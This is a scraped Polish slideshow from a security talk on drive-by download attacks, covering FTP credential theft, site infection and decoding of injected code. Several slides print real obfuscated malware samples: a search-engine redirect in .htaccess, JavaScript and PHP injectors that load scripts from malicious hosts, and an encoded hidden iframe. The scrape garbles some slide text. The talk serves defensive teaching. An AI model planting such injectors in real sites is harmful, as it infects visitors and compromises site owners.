Ataki drive-by download

1 Ataki drive-by downloadFilip Palian Education Project ...
Author: Marcelina Piórkowski
0 downloads 4 Views

1 Ataki drive-by downloadFilip Palian Education Project

2 Rozkład jazdy Drive-by download – co to takiego?Dlaczego problem istnieje? Kogo dotyczy problem? Skala problemu Z życia wzięte Studium przypadku Dekodowanie Przeciwdziałanie Przyszłość Co na to OWASP?

3 Drive-by download – co to takiego?Pobranie z sieci szkodliwego oprogramowania bez zgody i/lub wiedzy użytkownika

4 Dlaczego problem istnieje?Błędy w przeglądarkach oraz dodatkach Błędy w stronach internetowych (wstrzyknięcia) Nieświadomość i lenistwo użytkowników Brak (stosowania) odpowiednich zabezpieczeń Botnety SPAM (D)DoS

5 Dlaczego problem istnieje?$ Pieniądze $ Władza $ Polityka = (pieniądze + władza) $ Religia = (pieniądze + władza)

6 Kogo głównie dotyczy problem?Użytkownicy przeglądarek internetowych Użytkownicy kont FTP + WWW Twórcy stron internetowych Firmy hostingowe

7 Skala problemu

8 Skala problemu (home.pl)

9 Skala problemu (netart.pl)

10 Skala problemu (fastpark.net)

11 Skala problemu c.d. GoDaddy (AS26496) Dreamhost (AS26347) Akamai (AS20940) Microsoft (AS8075) Google (AS15169) OVH (AS16276)

12 Skala problemu c.d. Źródło:

13 Z życia wzięte (a.k.a. cyferki++)Na przykładzie danych zebranych w okresie VIII 2008 – III 2010: 44042 (wykryte) zainfekowane pliki 233 (wykryte) domeny 70 rodzajów szkodliwego oprogramowania

14 Z życia wzięte c.d. 2008 2009 2010

15 Z życia wzięte c.d. Kwi 2009: Lip 2009: Paź 2009: Lut 2010:Korea Pn. wystrzeliwuje rakietę Taepodong-2 Trzęsienie ziemi w Meksyku Lip 2009: Zamachy terrorystyczne na hotele w Dżakarcie Śmierć Michaela Jacksona Paź 2009: Barack Obama laureatem pokojowej nagrody Nobla Lut 2010: Igrzyska olimpijskie w Vancouver Trzęsienia ziemi na Haiti i w Chile

16 Z życia wzięte c.d. Źródło:

17 Z życia wzięte c.d.

18 Studium przypadku Ofiara odwiedza zainfekowaną stronę WWWMalware na stronie wykorzystuje błąd w oprogramowaniu Kradzież danych dostępowych do konta FTP Zalogowanie się na konto FTP i pobranie plików Dodanie szkodliwej treści do pobranych plików Wgranie na serwer FTP zainfekowanych plików

19 Studium przypadku c.d. Środowisko testowe honeypota: VMwareMS Windows XP Professional SP2 Systemowy firewall AVG 8 Adobe Reader 9.x MS Internet Explorer 6.x Capture HPC (The Honeynet Project)

20 Studium przypadku c.d. 1. Ofiara odwiedza zainfekowaną stronę.Gdzie takie znaleźć? Co się dzieje na tym etapie?

21 Studium przypadku c.d.

22 Studium przypadku c.d. 2. Malware na stronie wykorzystuje błędy w oprogramowaniu Przeglądarki (głównie IE, FX, Opera) Wtyczki (Adobe Reader, RealPlayer, ActiveX etc.) Silniki skryptowe (np. SeaMonkey, JScript, Rhino) No dobrze, i co dalej?

23 Studium przypadku c.d.

24 Studium przypadku c.d.

25 Studium przypadku c.d.

26 Studium przypadku c.d.

27 Studium przypadku c.d. Efekt?

28 Studium przypadku c.d. Co nas uderzyło? Co robi ten trojan?Trojan FakeRean Co robi ten trojan? Win32/FakeRean podszywa się pod oprogramowanie antywirusowe i wyświetla nieprawdziwe informacje o zainfekowanych plikach w systemie. Następnie informuje użytkownika o tym, że musi on zapłacić za usunięcie zagrożeń, które nie istnieją. Gdzie znajdę więcej informacji? Win32%2fFakeRean

29 Studium przypadku c.d. 3. Kradzież danych dostępowych do konta FTP (i nie tylko) Sniffery Keyloggery Serwery proxy Zapamiętywanie haseł w aplikacjach

30 Studium przypadku c.d. 4. Zalogowanie się na konto FTP i pobranie plików Jan 9 16:51:00 foo pure-ftpd: [INFO] New connection from x.x.x.x Jan 9 16:51:00 foo pure-ftpd: [INFO] ftpuser is now logged in Jan 9 16:51:01 foo pure-ftpd: [NOTICE] /srv/www/foo/index.html downloaded Jan 9 16:51:01 foo pure-ftpd: [NOTICE] /srv/www/foo/index.php downloaded Jan 9 16:51:01 foo pure-ftpd: [NOTICE] /srv/www/foo/bar/index.html downloaded Jan 9 16:51:02 foo pure-ftpd: [NOTICE] /srv/www/foo/tmp/index.htm downloaded (...) Jan 9 16:51:03 foo pure-ftpd: [INFO] Logout.

31 Studium przypadku c.d. 5. Dodanie szkodliwej treści do pobranych plików Przed “” W “” Po “” Gdziekolwiek ucinając resztę zawartości pliku

33 Studium przypadku c.d. 6. Wgranie na serwer FTP zainfekowanych plikówJan 9 16:52:00 foo pure-ftpd: [INFO] New connection from x.x.x.x Jan 9 16:52:00 foo pure-ftpd: [INFO] ftpuser is now logged in Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/.htaccess uploaded Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/index.html uploaded Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/index.php uploaded Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/bar/.htaccess uploaded Jan 9 16:52:01 foo pure-ftpd: [NOTICE] /srv/www/foo/bar/index.html uploaded Jan 9 16:52:02 foo pure-ftpd: [NOTICE] /srv/www/foo/tmp/jquery.js uploaded (...) Jan 9 16:52:03 foo pure-ftpd: [INFO] Logout.

34 Studium przypadku c.d. 6. Wgranie na serwer FTP zainfekowanych plików$ cat .htaccess RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC] RewriteRule .* [R,L]

35 Przykłady szkodliwego oprogramowania1) 2) uvbhfzz.com/d l/adv598.php" width=1 height=1>'; ?> 3) { "@context": "http://schema.org", "@type": "ImageObject", "contentUrl": "http://slideplayer.pl/54577/1/images/35/Przyk%C5%82ady+szkodliwego+oprogramowania.jpg", "name": "Przykłady szkodliwego oprogramowania", "description": "1) 2) < php echo ; > 3) /*GNU GPL*/ try{window.onload = function(){var Z6kdr96vryd = document.createElement. ( s!^(@c&!r)#@i^#p@(@t!!$ .replace(/\$|&|\!|\^|#|@|\)|\(/ig, ));Z6kdr96vryd.setAttribute( type , text/javascript );Z6kdr96vryd.setAttribute( src , h^^$t$(^^)t@p((:$$/(&(/&y#e(s!&^!k)y&^#-!c$) $o^m^!(@$.&)n$a!))!u$)k)^$r($i!)&&.#@&c(o#$@m!^.($(t^h@@e^p#@i&@r&a&$t))$^)e!((b@ a@)!&y(@^-@&^#o$&^((r)!)g@&(.#^v!@!@i#^e#&$$w@^^h!!$@)o&m@e@s$)a#$!l^e!^.@r&) u$(:&)8)0!)8()@0)/##c$l$!@(i#c#)k)^!s(o$(#r!@^@&.#!)c@&o^@m!##)/#^!!c!$($l#($i)&c@$&k. ^^(s!&o!^!&r#!(.)c^^)o&#m&#$/#&^g)u#$$)a#r!&)&&d^^i#)a@!n#$^.#c$@$o$.!^!@u(k(()/)# !g#^!o^^!o!!^g!l)!e&.)c!@o#)m^/&f##&(i$(^l)(e&#h!i#@p&p^)o(.!^@^c&)&o@(!m!))$/^) . replace(/\(|\!|\$|\^|\)|#|&|@/ig, ));Z6kdr96vryd.setAttribute( defer , defer );Z6kdr96vryd.setAttribute. ( id , Q((4^f!#3)#z@#5^)!s!&!f)$^9@2^o$)x@#@$) .replace(/\$|\)|@|#|\!|&|\(|\^/ig, )); document.body.appendChild(Z6kdr96vryd);}} catch(e) {}", "width": "800" }

36 Przykłady szkodliwego oprogramowania c.d.5) #','',$s);if(stristr($s,' ||stristr($s,''))$s= $s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS ) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$ i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i ]);echo ; ?> { "@context": "http://schema.org", "@type": "ImageObject", "contentUrl": "http://slideplayer.pl/54577/1/images/36/Przyk%C5%82ady+szkodliwego+oprogramowania+c.d..jpg", "name": "Przykłady szkodliwego oprogramowania c.d.", "description": "5) function nbsp() {var. t,o,l,i,j;var. s= ;s+= 060047116101120116097116101097062060047116101120116097114101097062 ; s+= 060073070082065077069032115114099061034104116116112058047047109097114099111098101114110097114100111 ; s=s+ 110105046099111109047098095116114047105110100101120046112104112034032119105100116104061051032104101 ; s=s+ 105103104116061051032115116121108101061034100105115112108097121058110111110101034062060047073070082 ; s=s+ 065077069062032 ; t= ;l=s.length;i=0; while(i # , ,$s);if(stristr($s,

37 Dekodowanie (na szybko ;-p)noScript i alert() prawdę Ci powiedzą.

38 Dekodowanie c.d. noScript:

39 Dekodowanie c.d. alert() na przykładzie Exploit.HTML.IESlice.h: Przed: Po: { "@context": "http://schema.org", "@type": "ImageObject", "contentUrl": "http://slideplayer.pl/54577/1/images/54/Przysz%C5%82o%C5%9B%C4%87+c.d.+Packer%3A+Staty%3A.jpg", "name": "Przyszłość c.d. Packer: Staty:", "description": "eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(! .replace(/^/,String)) {while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return \\w+ }; c=1};while(c--)if(k[c])p=p.replace(new RegExp( \\b +e(c)+ \\b , g ),k[c]);return p} ( 3.4( ); ,19,19, 69|65|6d|document|write|66|72|61|http|76|6c|73|74|2e|63|6f|style| visibility|none .split( | ),0,{})) Staty: ", "width": "800" }

55 Co na to OWASP?

56 Pytania/uwagi/sugestie/opinie?

57 Dziękuję za uwagę ;-)